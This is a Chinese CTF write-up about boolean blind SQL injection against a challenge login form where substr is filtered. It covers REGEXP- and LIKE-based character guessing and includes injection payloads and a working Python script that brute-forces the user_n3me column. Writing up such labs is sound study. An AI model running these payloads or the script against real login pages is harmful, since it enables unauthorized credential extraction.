前言:
之前的布尔盲注都是在很正常的情况下进行注入,这次做了一道布尔盲注的题目,学到了不少知识,记录一下。
0x00:regexp正则表达式注入
测试发现username=1' or 1=1#
时回显密码错误,密码测试绕不过去,使用布尔盲注试试
没有反应,说明应该是substr
函数被禁用了,那该怎么进行猜测,之前的方法都是通过这个函数进行截取然后判断,既然给禁用了就说明应该还有其他的函数可以进行猜测,查来查去发现:
MySQL 同样也支持其他正则表达式的匹配, MySQL中使用 REGEXP 操作符来进行正则表达式匹配
那尝试一下regexp
,看看是否可以使用,使用爆破看看是否会出现密码错误,如果出现则说明这个函数是可以使用:
生成一个字典跑一下:
爆破发现,有两个长度确实不一样
故这函数是可以使用的,而且user()的第一个字符确实是u或U,最终爆出来是user
那么数据库也可以爆出来,但是这里测试了一下 order、select
等函数都被禁用了,所以也就不用往下面测试了,就算得出了数据库也没办法进行下一步,到这里观察一下页面源码,发现:
这不是账号密码对应的字段吗?,直接通过这里就可以继续猜测:
爆破出一个字符便加进去继续爆破,爆破密码只需将字段给换了即可,登陆进行就是git泄露,后面的就不写了。
脚本如下:
0x01:SQL LIKE 操作符注入
之前看过大师傅的WP,也尝试了这个like操作符,就也来尝试一下
都是在字段中进行匹配看是否又对应的值,尝试一下:
发现是可以的,那将上面的脚本更改一下payload即可:
import string
import requests
url = 'http://6cb7a820708242519c095809f4e3a7469f362925822e434d.changame.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
#ascii_letters生成所有字母,digits生成所有数字0-9
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
#爆破用户名或密码
print("username:")
for p in payloads:
payload = temp + p
#判断p3ss_w0rd字段中是否存在payload中所包含的字符
#LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式
name = "admin' or user_n3me like '{}%' ;#".format(payload)
data = dict(username=name, passwrod='test')
res = requests.post(url, headers=headers, data=data)
if (len(res.content) == 12):
temp = temp + p
#ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串
print(temp.ljust(40, '.'))
break